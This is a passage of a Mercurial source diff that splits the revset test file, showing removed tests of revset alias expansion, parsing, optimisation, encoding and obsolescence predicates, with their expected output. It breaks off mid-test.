-
-aliases:
-
-  $ echo '[revsetalias]' >> .hg/hgrc
-  $ echo 'm = merge()' >> .hg/hgrc
-(revset aliases can override builtin revsets)
-  $ echo 'p2($1) = p1($1)' >> .hg/hgrc
-  $ echo 'sincem = descendants(m)' >> .hg/hgrc
-  $ echo 'd($1) = reverse(sort($1, date))' >> .hg/hgrc
-  $ echo 'rs(ARG1, ARG2) = reverse(sort(ARG1, ARG2))' >> .hg/hgrc
-  $ echo 'rs4(ARG1, ARGA, ARGB, ARG2) = reverse(sort(ARG1, ARG2))' >> .hg/hgrc
-
-  $ try m
-  (symbol 'm')
-  * expanded:
-  (func
-    (symbol 'merge')
-    None)
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <merge>>
-  6
-
-  $ HGPLAIN=1
-  $ export HGPLAIN
-  $ try m
-  (symbol 'm')
-  abort: unknown revision 'm'!
-  [255]
-
-  $ HGPLAINEXCEPT=revsetalias
-  $ export HGPLAINEXCEPT
-  $ try m
-  (symbol 'm')
-  * expanded:
-  (func
-    (symbol 'merge')
-    None)
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <merge>>
-  6
-
-  $ unset HGPLAIN
-  $ unset HGPLAINEXCEPT
-
-  $ try 'p2(.)'
-  (func
-    (symbol 'p2')
-    (symbol '.'))
-  * expanded:
-  (func
-    (symbol 'p1')
-    (symbol '.'))
-  * set:
-  <baseset+ [8]>
-  8
-
-  $ HGPLAIN=1
-  $ export HGPLAIN
-  $ try 'p2(.)'
-  (func
-    (symbol 'p2')
-    (symbol '.'))
-  * set:
-  <baseset+ []>
-
-  $ HGPLAINEXCEPT=revsetalias
-  $ export HGPLAINEXCEPT
-  $ try 'p2(.)'
-  (func
-    (symbol 'p2')
-    (symbol '.'))
-  * expanded:
-  (func
-    (symbol 'p1')
-    (symbol '.'))
-  * set:
-  <baseset+ [8]>
-  8
-
-  $ unset HGPLAIN
-  $ unset HGPLAINEXCEPT
-
-test alias recursion
-
-  $ try sincem
-  (symbol 'sincem')
-  * expanded:
-  (func
-    (symbol 'descendants')
-    (func
-      (symbol 'merge')
-      None))
-  * set:
-  <generatorset+>
-  6
-  7
-
-test infinite recursion
-
-  $ echo 'recurse1 = recurse2' >> .hg/hgrc
-  $ echo 'recurse2 = recurse1' >> .hg/hgrc
-  $ try recurse1
-  (symbol 'recurse1')
-  hg: parse error: infinite expansion of revset alias "recurse1" detected
-  [255]
-
-  $ echo 'level1($1, $2) = $1 or $2' >> .hg/hgrc
-  $ echo 'level2($1, $2) = level1($2, $1)' >> .hg/hgrc
-  $ try "level2(level1(1, 2), 3)"
-  (func
-    (symbol 'level2')
-    (list
-      (func
-        (symbol 'level1')
-        (list
-          (symbol '1')
-          (symbol '2')))
-      (symbol '3')))
-  * expanded:
-  (or
-    (list
-      (symbol '3')
-      (or
-        (list
-          (symbol '1')
-          (symbol '2')))))
-  * set:
-  <addset
-    <baseset [3]>,
-    <baseset [1, 2]>>
-  3
-  1
-  2
-
-test nesting and variable passing
-
-  $ echo 'nested($1) = nested2($1)' >> .hg/hgrc
-  $ echo 'nested2($1) = nested3($1)' >> .hg/hgrc
-  $ echo 'nested3($1) = max($1)' >> .hg/hgrc
-  $ try 'nested(2:5)'
-  (func
-    (symbol 'nested')
-    (range
-      (symbol '2')
-      (symbol '5')))
-  * expanded:
-  (func
-    (symbol 'max')
-    (range
-      (symbol '2')
-      (symbol '5')))
-  * set:
-  <baseset
-    <max
-      <fullreposet+ 0:10>,
-      <spanset+ 2:6>>>
-  5
-
-test chained `or` operations are flattened at parsing phase
-
-  $ echo 'chainedorops($1, $2, $3) = $1|$2|$3' >> .hg/hgrc
-  $ try 'chainedorops(0:1, 1:2, 2:3)'
-  (func
-    (symbol 'chainedorops')
-    (list
-      (range
-        (symbol '0')
-        (symbol '1'))
-      (range
-        (symbol '1')
-        (symbol '2'))
-      (range
-        (symbol '2')
-        (symbol '3'))))
-  * expanded:
-  (or
-    (list
-      (range
-        (symbol '0')
-        (symbol '1'))
-      (range
-        (symbol '1')
-        (symbol '2'))
-      (range
-        (symbol '2')
-        (symbol '3'))))
-  * set:
-  <addset
-    <spanset+ 0:2>,
-    <addset
-      <spanset+ 1:3>,
-      <spanset+ 2:4>>>
-  0
-  1
-  2
-  3
-
-test variable isolation, variable placeholders are rewritten as string
-then parsed and matched again as string. Check they do not leak too
-far away.
-
-  $ echo 'injectparamasstring = max("$1")' >> .hg/hgrc
-  $ echo 'callinjection($1) = descendants(injectparamasstring)' >> .hg/hgrc
-  $ try 'callinjection(2:5)'
-  (func
-    (symbol 'callinjection')
-    (range
-      (symbol '2')
-      (symbol '5')))
-  * expanded:
-  (func
-    (symbol 'descendants')
-    (func
-      (symbol 'max')
-      (string '$1')))
-  abort: unknown revision '$1'!
-  [255]
-
-test scope of alias expansion: 'universe' is expanded prior to 'shadowall(0)',
-but 'all()' should never be substituted to '0()'.
-
-  $ echo 'universe = all()' >> .hg/hgrc
-  $ echo 'shadowall(all) = all and universe' >> .hg/hgrc
-  $ try 'shadowall(0)'
-  (func
-    (symbol 'shadowall')
-    (symbol '0'))
-  * expanded:
-  (and
-    (symbol '0')
-    (func
-      (symbol 'all')
-      None))
-  * set:
-  <filteredset
-    <baseset [0]>,
-    <spanset+ 0:10>>
-  0
-
-test unknown reference:
-
-  $ try "unknownref(0)" --config 'revsetalias.unknownref($1)=$1:$2'
-  (func
-    (symbol 'unknownref')
-    (symbol '0'))
-  abort: bad definition of revset alias "unknownref": invalid symbol '$2'
-  [255]
-
-  $ hg debugrevspec --debug --config revsetalias.anotherbadone='branch(' "tip"
-  (symbol 'tip')
-  warning: bad definition of revset alias "anotherbadone": at 7: not a prefix: end
-  * set:
-  <baseset [9]>
-  9
-
-  $ try 'tip'
-  (symbol 'tip')
-  * set:
-  <baseset [9]>
-  9
-
-  $ hg debugrevspec --debug --config revsetalias.'bad name'='tip' "tip"
-  (symbol 'tip')
-  warning: bad declaration of revset alias "bad name": at 4: invalid token
-  * set:
-  <baseset [9]>
-  9
-  $ echo 'strictreplacing($1, $10) = $10 or desc("$1")' >> .hg/hgrc
-  $ try 'strictreplacing("foo", tip)'
-  (func
-    (symbol 'strictreplacing')
-    (list
-      (string 'foo')
-      (symbol 'tip')))
-  * expanded:
-  (or
-    (list
-      (symbol 'tip')
-      (func
-        (symbol 'desc')
-        (string '$1'))))
-  * set:
-  <addset
-    <baseset [9]>,
-    <filteredset
-      <fullreposet+ 0:10>,
-      <desc '$1'>>>
-  9
-
-  $ try 'd(2:5)'
-  (func
-    (symbol 'd')
-    (range
-      (symbol '2')
-      (symbol '5')))
-  * expanded:
-  (func
-    (symbol 'reverse')
-    (func
-      (symbol 'sort')
-      (list
-        (range
-          (symbol '2')
-          (symbol '5'))
-        (symbol 'date'))))
-  * set:
-  <baseset [4, 5, 3, 2]>
-  4
-  5
-  3
-  2
-  $ try 'rs(2 or 3, date)'
-  (func
-    (symbol 'rs')
-    (list
-      (or
-        (list
-          (symbol '2')
-          (symbol '3')))
-      (symbol 'date')))
-  * expanded:
-  (func
-    (symbol 'reverse')
-    (func
-      (symbol 'sort')
-      (list
-        (or
-          (list
-            (symbol '2')
-            (symbol '3')))
-        (symbol 'date'))))
-  * set:
-  <baseset [3, 2]>
-  3
-  2
-  $ try 'rs()'
-  (func
-    (symbol 'rs')
-    None)
-  hg: parse error: invalid number of arguments: 0
-  [255]
-  $ try 'rs(2)'
-  (func
-    (symbol 'rs')
-    (symbol '2'))
-  hg: parse error: invalid number of arguments: 1
-  [255]
-  $ try 'rs(2, data, 7)'
-  (func
-    (symbol 'rs')
-    (list
-      (symbol '2')
-      (symbol 'data')
-      (symbol '7')))
-  hg: parse error: invalid number of arguments: 3
-  [255]
-  $ try 'rs4(2 or 3, x, x, date)'
-  (func
-    (symbol 'rs4')
-    (list
-      (or
-        (list
-          (symbol '2')
-          (symbol '3')))
-      (symbol 'x')
-      (symbol 'x')
-      (symbol 'date')))
-  * expanded:
-  (func
-    (symbol 'reverse')
-    (func
-      (symbol 'sort')
-      (list
-        (or
-          (list
-            (symbol '2')
-            (symbol '3')))
-        (symbol 'date'))))
-  * set:
-  <baseset [3, 2]>
-  3
-  2
-
-issue4553: check that revset aliases override existing hash prefix
-
-  $ hg log -qr e
-  6:e0cc66ef77e8
-
-  $ hg log -qr e --config revsetalias.e="all()"
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr e: --config revsetalias.e="0"
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr :e --config revsetalias.e="9"
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr e:
-  6:e0cc66ef77e8
-  7:013af1973af4
-  8:d5d0dcbdc4d9
-  9:24286f4ae135
-
-  $ hg log -qr :e
-  0:2785f51eece5
-  1:d75937da8da0
-  2:5ed5505e9f1c
-  3:8528aa5637f2
-  4:2326846efdab
-  5:904fa392b941
-  6:e0cc66ef77e8
-
-issue2549 - correct optimizations
-
-  $ try 'limit(1 or 2 or 3, 2) and not 2'
-  (and
-    (func
-      (symbol 'limit')
-      (list
-        (or
-          (list
-            (symbol '1')
-            (symbol '2')
-            (symbol '3')))
-        (symbol '2')))
-    (not
-      (symbol '2')))
-  * set:
-  <filteredset
-    <baseset [1, 2]>,
-    <not
-      <baseset [2]>>>
-  1
-  $ try 'max(1 or 2) and not 2'
-  (and
-    (func
-      (symbol 'max')
-      (or
-        (list
-          (symbol '1')
-          (symbol '2'))))
-    (not
-      (symbol '2')))
-  * set:
-  <filteredset
-    <baseset
-      <max
-        <fullreposet+ 0:10>,
-        <baseset [1, 2]>>>,
-    <not
-      <baseset [2]>>>
-  $ try 'min(1 or 2) and not 1'
-  (and
-    (func
-      (symbol 'min')
-      (or
-        (list
-          (symbol '1')
-          (symbol '2'))))
-    (not
-      (symbol '1')))
-  * set:
-  <filteredset
-    <baseset
-      <min
-        <fullreposet+ 0:10>,
-        <baseset [1, 2]>>>,
-    <not
-      <baseset [1]>>>
-  $ try 'last(1 or 2, 1) and not 2'
-  (and
-    (func
-      (symbol 'last')
-      (list
-        (or
-          (list
-            (symbol '1')
-            (symbol '2')))
-        (symbol '1')))
-    (not
-      (symbol '2')))
-  * set:
-  <filteredset
-    <baseset [2]>,
-    <not
-      <baseset [2]>>>
-
-issue4289 - ordering of built-ins
-  $ hg log -M -q -r 3:2
-  3:8528aa5637f2
-  2:5ed5505e9f1c
-
-test revsets started with 40-chars hash (issue3669)
-
-  $ ISSUE3669_TIP=`hg tip --template '{node}'`
-  $ hg log -r "${ISSUE3669_TIP}" --template '{rev}\n'
-  9
-  $ hg log -r "${ISSUE3669_TIP}^" --template '{rev}\n'
-  8
-
-test or-ed indirect predicates (issue3775)
-
-  $ log '6 or 6^1' | sort
-  5
-  6
-  $ log '6^1 or 6' | sort
-  5
-  6
-  $ log '4 or 4~1' | sort
-  2
-  4
-  $ log '4~1 or 4' | sort
-  2
-  4
-  $ log '(0 or 2):(4 or 6) or 0 or 6' | sort
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  $ log '0 or 6 or (0 or 2):(4 or 6)' | sort
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-
-tests for 'remote()' predicate:
-#.  (csets in remote) (id)            (remote)
-1.  less than local   current branch  "default"
-2.  same with local   specified       "default"
-3.  more than local   specified       specified
-
-  $ hg clone --quiet -U . ../remote3
-  $ cd ../remote3
-  $ hg update -q 7
-  $ echo r > r
-  $ hg ci -Aqm 10
-  $ log 'remote()'
-  7
-  $ log 'remote("a-b-c-")'
-  2
-  $ cd ../repo
-  $ log 'remote(".a.b.c.", "../remote3")'
-
-tests for concatenation of strings/symbols by "##"
-
-  $ try "278 ## '5f5' ## 1ee ## 'ce5'"
-  (_concat
-    (_concat
-      (_concat
-        (symbol '278')
-        (string '5f5'))
-      (symbol '1ee'))
-    (string 'ce5'))
-  * concatenated:
-  (string '2785f51eece5')
-  * set:
-  <baseset [0]>
-  0
-
-  $ echo 'cat4($1, $2, $3, $4) = $1 ## $2 ## $3 ## $4' >> .hg/hgrc
-  $ try "cat4(278, '5f5', 1ee, 'ce5')"
-  (func
-    (symbol 'cat4')
-    (list
-      (symbol '278')
-      (string '5f5')
-      (symbol '1ee')
-      (string 'ce5')))
-  * expanded:
-  (_concat
-    (_concat
-      (_concat
-        (symbol '278')
-        (string '5f5'))
-      (symbol '1ee'))
-    (string 'ce5'))
-  * concatenated:
-  (string '2785f51eece5')
-  * set:
-  <baseset [0]>
-  0
-
-(check concatenation in alias nesting)
-
-  $ echo 'cat2($1, $2) = $1 ## $2' >> .hg/hgrc
-  $ echo 'cat2x2($1, $2, $3, $4) = cat2($1 ## $2, $3 ## $4)' >> .hg/hgrc
-  $ log "cat2x2(278, '5f5', 1ee, 'ce5')"
-  0
-
-(check operator priority)
-
-  $ echo 'cat2n2($1, $2, $3, $4) = $1 ## $2 or $3 ## $4~2' >> .hg/hgrc
-  $ log "cat2n2(2785f5, 1eece5, 24286f, 4ae135)"
-  0
-  4
-
-  $ cd ..
-
-prepare repository that has "default" branches of multiple roots
-
-  $ hg init namedbranch
-  $ cd namedbranch
-
-  $ echo default0 >> a
-  $ hg ci -Aqm0
-  $ echo default1 >> a
-  $ hg ci -m1
-
-  $ hg branch -q stable
-  $ echo stable2 >> a
-  $ hg ci -m2
-  $ echo stable3 >> a
-  $ hg ci -m3
-
-  $ hg update -q null
-  $ echo default4 >> a
-  $ hg ci -Aqm4
-  $ echo default5 >> a
-  $ hg ci -m5
-
-"null" revision belongs to "default" branch (issue4683)
-
-  $ log 'branch(null)'
-  0
-  1
-  4
-  5
-
-"null" revision belongs to "default" branch, but it shouldn't appear in set
-unless explicitly specified (issue4682)
-
-  $ log 'children(branch(default))'
-  1
-  2
-  5
-
-  $ cd ..
-
-test author/desc/keyword in problematic encoding
-# unicode: cp932:
-# u30A2    0x83 0x41(= 'A')
-# u30C2    0x83 0x61(= 'a')
-
-  $ hg init problematicencoding
-  $ cd problematicencoding
-
-  $ $PYTHON > setup.sh <<EOF
-  > print u'''
-  > echo a > text
-  > hg add text
-  > hg --encoding utf-8 commit -u '\u30A2' -m none
-  > echo b > text
-  > hg --encoding utf-8 commit -u '\u30C2' -m none
-  > echo c > text
-  > hg --encoding utf-8 commit -u none -m '\u30A2'
-  > echo d > text
-  > hg --encoding utf-8 commit -u none -m '\u30C2'
-  > '''.encode('utf-8')
-  > EOF
-  $ sh < setup.sh
-
-test in problematic encoding
-  $ $PYTHON > test.sh <<EOF
-  > print u'''
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'author(\u30A2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'author(\u30C2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'desc(\u30A2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'desc(\u30C2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'keyword(\u30A2)'
-  > echo ====
-  > hg --encoding cp932 log --template '{rev}\\n' -r 'keyword(\u30C2)'
-  > '''.encode('cp932')
-  > EOF
-  $ sh < test.sh
-  0
-  ====
-  1
-  ====
-  2
-  ====
-  3
-  ====
-  0
-  2
-  ====
-  1
-  3
-
-test error message of bad revset
-  $ hg log -r 'foo\\'
-  hg: parse error at 3: syntax error in revset 'foo\\'
-  [255]
-
-  $ cd ..
-
-Test that revset predicate of extension isn't loaded at failure of
-loading it
-
-  $ cd repo
-
-  $ cat <<EOF > $TESTTMP/custompredicate.py
-  > from mercurial import error, registrar, revset
-  > 
-  > revsetpredicate = registrar.revsetpredicate()
-  > 
-  > @revsetpredicate('custom1()')
-  > def custom1(repo, subset, x):
-  >     return revset.baseset([1])
-  > 
-  > raise error.Abort('intentional failure of loading extension')
-  > EOF
-  $ cat <<EOF > .hg/hgrc
-  > [extensions]
-  > custompredicate = $TESTTMP/custompredicate.py
-  > EOF
-
-  $ hg debugrevspec "custom1()"
-  *** failed to import extension custompredicate from $TESTTMP/custompredicate.py: intentional failure of loading extension
-  hg: parse error: unknown identifier: custom1
-  [255]
-
-Test repo.anyrevs with customized revset overrides
-
-  $ cat > $TESTTMP/printprevset.py <<EOF
-  > from mercurial import encoding, registrar
-  > cmdtable = {}
-  > command = registrar.command(cmdtable)
-  > @command('printprevset')
-  > def printprevset(ui, repo):
-  >     alias = {}
-  >     p = encoding.environ.get('P')
-  >     if p:
-  >         alias['P'] = p
-  >     revs = repo.anyrevs(['P'], user=True, localalias=alias)
-  >     ui.write('P=%r\n' % list(revs))
-  > EOF
-
-  $ cat >> .hg/hgrc <<EOF
-  > custompredicate = !
-  > printprevset = $TESTTMP/printprevset.py
-  > EOF
-
-  $ hg --config revsetalias.P=1 printprevset
-  P=[1]
-  $ P=3 hg --config revsetalias.P=2 printprevset
-  P=[3]
-
-  $ cd ..
-
-Test obsstore related revsets
-
-  $ hg init repo1
-  $ cd repo1
-  $ cat <<EOF >> .hg/hgrc
-  > [experimental]
-  > stabilization = createmarkers
-  > EOF
-
-  $ hg debugdrawdag <<'EOS'
-  >        F G
-  >        |/    # split: B -> E, F
-  > B C D  E     # amend: B -> C -> D
-  >  \|/   |     # amend: F -> G
-  >   A    A  Z  # amend: A -> Z
-  > EOS
-
-  $ hg log -r 'successors(Z)' -T '{desc}\n'
-  Z
-
-  $ hg log -r 'successors(F)' -T '{desc}\n'
-  F
-  G
-
-  $ hg tag --remove --local C D E F G
-
-  $ hg log -r 'successors(B)' -T '{desc}\n'
-  B
-  D
-  E
-  G
-
-  $ hg log -r 'successors(B)' -T '{desc}\n' --hidden
-  B
-  C
-  D
-  E
-  F
-  G
-
-  $ hg log -r 'successors(B)-obsolete()' -T '{desc}\n' --hidden
-  D
-  E
-  G
-
-  $ hg log -r 'successors(B+A)-contentdivergent()' -T '{desc}\n'
-  A
-  Z
-  B
-
-  $ hg log -r 'successors(B+A)-contentdivergent()-obsolete()' -T '{desc}\n'
-  Z
-
-Test `draft() & ::x` optimization
-
-  $ hg init $TESTTMP/repo2
-  $ cd $TESTTMP/repo2
-  $ hg debugdrawdag <<'EOS'
-  >   P5 S1
-  >    |  |
-  > S2 | D3
-  >   \|/
-  >   P4
-  >    |
-  >   P3 D2
-  >    |  |
-  >   P2 D1
-  >    |/
-  >   P1
-  >    |
-  >   P0
-  > EOS
-  $ hg phase --public -r P5
-  $ hg phase --force --secret -r S1+S2
-  $ hg log -G -T '{rev} {desc} {phase}' -r 'sort(all(), topo, topo.firstbranch=P5)'
-  o  8 P5 public
-  |
-  | o  10 S1 secret
-  | |
-  | o  7 D3 draft
-  |/
-  | o  9 S2 secret
-  |/
-  o  6 P4 public
-  |
-  o  5 P3 public
-  |
-  o  3 P2 public
-  |
-  | o  4 D2 draft
-  | |
-  | o  2 D1 draft
-  |/
-  o  1 P1 public
-  |
-  o  0 P0 public
-  
-  $ hg debugrevspec --verify -p analyzed -p optimized 'draft() & ::(((S1+D1+P5)-D3)+S2)'
-  * analyzed:
-  (and
-    (func
-      (symbol 'draft')
-      None)
-    (func
-      (symbol 'ancestors')
-      (or
-        (list
-          (and
-            (or
-              (list
-                (symbol 'S1')
-                (symbol 'D1')
-                (symbol 'P5')))
-            (not
-              (symbol 'D3')))
-          (symbol 'S2')))))
-  * optimized:
-  (func
-    (symbol '_phaseandancestors')
-    (list
-      (symbol 'draft')
-      (or
-        (list
-          (difference
-            (func
-              (symbol '_list')
-              (string 'S1\x00D1\x00P5'))
-            (symbol 'D3'))
-          (symbol 'S2')))))
-  $ hg debugrevspec --verify -p analyzed -p optimized 'secret() & ::9'
-  * analyzed:
-  (and
-    (func
-      (symbol 'secret')
-      None)
-    (func
-      (symbol 'ancestors')
-      (symbol '9')))
-  * optimized:
-  (func
-    (symbol '_phaseandancestors')
-    (list
-      (symbol 'secret')
-      (symbol '9')))
-  $ hg debugrevspec --verify -p analyzed -p optimized '7 & ( (not public()) & ::(tag()) )'
-  * analyzed:
-  (and
-    (symbol '7')
-    (and
-      (not
-        (func
-          (symbol 'public')
-          None))
-      (func
-        (symbol 'ancestors')
-        (func
-          (symbol 'tag')
-          None))))
-  * optimized:
-  (and
-    (symbol '7')
-    (func
-      (symbol '_phaseandancestors')
-      (list
-        (symbol '_notpublic')
-        (func
-          (symbol 'tag')
-          None))))
-  $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, 1)'
-  * optimized:
-  (and
-    (func
-      (symbol '_notpublic')
-      None)
-    (func
-      (symbol 'ancestors')
-      (list
-        (func
-          (symbol '_list')
-          (string 'S1\x00D2\x00P5'))
-        (symbol '1'))))
-  $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, depth=1)'
-  * optimized:
-  (and
-    (func
-      (symbol '_notpublic')
-      None)
-    (func
-      (symbol 'ancestors')
-      (list
-        (func
-          (symbol '_list')
-          (string 'S1\x00D2\x00P5'))
-        (keyvalue
-          (symbol 'depth')
-          (symbol '1')))))
diff --git a/tests/test-revset.t b/tests/test-revset2.t
copy from tests/test-revset.t
copy to tests/test-revset2.t
--- a/tests/test-revset.t
+++ b/tests/test-revset2.t
@@ -1,27 +1,8 @@
   $ HGENCODING=utf-8
   $ export HGENCODING
-  $ cat > testrevset.py << EOF
-  > import mercurial.revset
-  > 
-  > baseset = mercurial.revset.baseset
-  > 
-  > def r3232(repo, subset, x):
-  >     """"simple revset that return [3,2,3,2]
-  > 
-  >     revisions duplicated on purpose.
-  >     """
-  >     if 3 not in subset:
-  >        if 2 in subset:
-  >            return baseset([2,2])
-  >        return baseset()
-  >     return baseset([3,3,2,2])
-  > 
-  > mercurial.revset.symbols['r3232'] = r3232
-  > EOF
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
-  > testrevset=$TESTTMP/testrevset.py
   > EOF
 
   $ try() {
@@ -32,49 +13,6 @@
   >   hg log --template '{rev}\n' -r "$1"
   > }
 
-extension to build '_intlist()' and '_hexlist()', which is necessary because
-these predicates use '\0' as a separator:
-
-  $ cat <<EOF > debugrevlistspec.py
-  > from __future__ import absolute_import
-  > from mercurial import (
-  >     node as nodemod,
-  >     registrar,
-  >     revset,
-  >     revsetlang,
-  >     smartset,
-  > )
-  > cmdtable = {}
-  > command = registrar.command(cmdtable)
-  > @command(b'debugrevlistspec',
-  >     [('', 'optimize', None, 'print parsed tree after optimizing'),
-  >      ('', 'bin', None, 'unhexlify arguments')])
-  > def debugrevlistspec(ui, repo, fmt, *args, **opts):
-  >     if opts['bin']:
-  >         args = map(nodemod.bin, args)
-  >     expr = revsetlang.formatspec(fmt, list(args))
-  >     if ui.verbose:
-  >         tree = revsetlang.parse(expr, lookup=repo.__contains__)
-  >         ui.note(revsetlang.prettyformat(tree), "\n")
-  >         if opts["optimize"]:
-  >             opttree = revsetlang.optimize(revsetlang.analyze(tree))
-  >             ui.note("* optimized:\n", revsetlang.prettyformat(opttree),
-  >                     "\n")
-  >     func = revset.match(ui, expr, repo)
-  >     revs = func(repo)
-  >     if ui.verbose:
-  >         ui.note("* set:\n", smartset.prettyformat(revs), "\n")
-  >     for c in revs:
-  >         ui.write("%s\n" % c)
-  > EOF
-  $ cat <<EOF >> $HGRCPATH
-  > [extensions]
-  > debugrevlistspec = $TESTTMP/debugrevlistspec.py
-  > EOF
-  $ trylist() {
-  >   hg debugrevlistspec --debug "$@"
-  > }
-
   $ hg init repo
   $ cd repo
 
@@ -151,2593 +89,6 @@
   $ echo "[paths]" >> .hg/hgrc
   $ echo "default = ../remote1" >> .hg/hgrc
 
-trivial
-
-  $ try 0:1
-  (range
-    (symbol '0')
-    (symbol '1'))
-  * set:
-  <spanset+ 0:2>
-  0
-  1
-  $ try --optimize :
-  (rangeall
-    None)
-  * optimized:
-  (rangeall
-    None)
-  * set:
-  <spanset+ 0:10>
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ try 3::6
-  (dagrange
-    (symbol '3')
-    (symbol '6'))
-  * set:
-  <baseset+ [3, 5, 6]>
-  3
-  5
-  6
-  $ try '0|1|2'
-  (or
-    (list
-      (symbol '0')
-      (symbol '1')
-      (symbol '2')))
-  * set:
-  <baseset [0, 1, 2]>
-  0
-  1
-  2
-
-names that should work without quoting
-
-  $ try a
-  (symbol 'a')
-  * set:
-  <baseset [0]>
-  0
-  $ try b-a
-  (minus
-    (symbol 'b')
-    (symbol 'a'))
-  * set:
-  <filteredset
-    <baseset [1]>,
-    <not
-      <baseset [0]>>>
-  1
-  $ try _a_b_c_
-  (symbol '_a_b_c_')
-  * set:
-  <baseset [6]>
-  6
-  $ try _a_b_c_-a
-  (minus
-    (symbol '_a_b_c_')
-    (symbol 'a'))
-  * set:
-  <filteredset
-    <baseset [6]>,
-    <not
-      <baseset [0]>>>
-  6
-  $ try .a.b.c.
-  (symbol '.a.b.c.')
-  * set:
-  <baseset [7]>
-  7
-  $ try .a.b.c.-a
-  (minus
-    (symbol '.a.b.c.')
-    (symbol 'a'))
-  * set:
-  <filteredset
-    <baseset [7]>,
-    <not
-      <baseset [0]>>>
-  7
-
-names that should be caught by fallback mechanism
-
-  $ try -- '-a-b-c-'
-  (symbol '-a-b-c-')
-  * set:
-  <baseset [4]>
-  4
-  $ log -a-b-c-
-  4
-  $ try '+a+b+c+'
-  (symbol '+a+b+c+')
-  * set:
-  <baseset [3]>
-  3
-  $ try '+a+b+c+:'
-  (rangepost
-    (symbol '+a+b+c+'))
-  * set:
-  <spanset+ 3:10>
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ try ':+a+b+c+'
-  (rangepre
-    (symbol '+a+b+c+'))
-  * set:
-  <spanset+ 0:4>
-  0
-  1
-  2
-  3
-  $ try -- '-a-b-c-:+a+b+c+'
-  (range
-    (symbol '-a-b-c-')
-    (symbol '+a+b+c+'))
-  * set:
-  <spanset- 3:5>
-  4
-  3
-  $ log '-a-b-c-:+a+b+c+'
-  4
-  3
-
-  $ try -- -a-b-c--a # complains
-  (minus
-    (minus
-      (minus
-        (negate
-          (symbol 'a'))
-        (symbol 'b'))
-      (symbol 'c'))
-    (negate
-      (symbol 'a')))
-  abort: unknown revision '-a'!
-  [255]
-  $ try é
-  (symbol '\xc3\xa9')
-  * set:
-  <baseset [9]>
-  9
-
-no quoting needed
-
-  $ log ::a-b-c-
-  0
-  1
-  2
-
-quoting needed
-
-  $ try '"-a-b-c-"-a'
-  (minus
-    (string '-a-b-c-')
-    (symbol 'a'))
-  * set:
-  <filteredset
-    <baseset [4]>,
-    <not
-      <baseset [0]>>>
-  4
-
-  $ log '1 or 2'
-  1
-  2
-  $ log '1|2'
-  1
-  2
-  $ log '1 and 2'
-  $ log '1&2'
-  $ try '1&2|3' # precedence - and is higher
-  (or
-    (list
-      (and
-        (symbol '1')
-        (symbol '2'))
-      (symbol '3')))
-  * set:
-  <addset
-    <baseset []>,
-    <baseset [3]>>
-  3
-  $ try '1|2&3'
-  (or
-    (list
-      (symbol '1')
-      (and
-        (symbol '2')
-        (symbol '3'))))
-  * set:
-  <addset
-    <baseset [1]>,
-    <baseset []>>
-  1
-  $ try '1&2&3' # associativity
-  (and
-    (and
-      (symbol '1')
-      (symbol '2'))
-    (symbol '3'))
-  * set:
-  <baseset []>
-  $ try '1|(2|3)'
-  (or
-    (list
-      (symbol '1')
-      (group
-        (or
-          (list
-            (symbol '2')
-            (symbol '3'))))))
-  * set:
-  <addset
-    <baseset [1]>,
-    <baseset [2, 3]>>
-  1
-  2
-  3
-  $ log '1.0' # tag
-  6
-  $ log 'a' # branch
-  0
-  $ log '2785f51ee'
-  0
-  $ log 'date(2005)'
-  4
-  $ log 'date(this is a test)'
-  hg: parse error at 10: unexpected token: symbol
-  [255]
-  $ log 'date()'
-  hg: parse error: date requires a string
-  [255]
-  $ log 'date'
-  abort: unknown revision 'date'!
-  [255]
-  $ log 'date('
-  hg: parse error at 5: not a prefix: end
-  [255]
-  $ log 'date("\xy")'
-  hg: parse error: invalid \x escape
-  [255]
-  $ log 'date(tip)'
-  hg: parse error: invalid date: 'tip'
-  [255]
-  $ log '0:date'
-  abort: unknown revision 'date'!
-  [255]
-  $ log '::"date"'
-  abort: unknown revision 'date'!
-  [255]
-  $ hg book date -r 4
-  $ log '0:date'
-  0
-  1
-  2
-  3
-  4
-  $ log '::date'
-  0
-  1
-  2
-  4
-  $ log '::"date"'
-  0
-  1
-  2
-  4
-  $ log 'date(2005) and 1::'
-  4
-  $ hg book -d date
-
-function name should be a symbol
-
-  $ log '"date"(2005)'
-  hg: parse error: not a symbol
-  [255]
-
-keyword arguments
-
-  $ log 'extra(branch, value=a)'
-  0
-
-  $ log 'extra(branch, a, b)'
-  hg: parse error: extra takes at most 2 positional arguments
-  [255]
-  $ log 'extra(a, label=b)'
-  hg: parse error: extra got multiple values for keyword argument 'label'
-  [255]
-  $ log 'extra(label=branch, default)'
-  hg: parse error: extra got an invalid argument
-  [255]
-  $ log 'extra(branch, foo+bar=baz)'
-  hg: parse error: extra got an invalid argument
-  [255]
-  $ log 'extra(unknown=branch)'
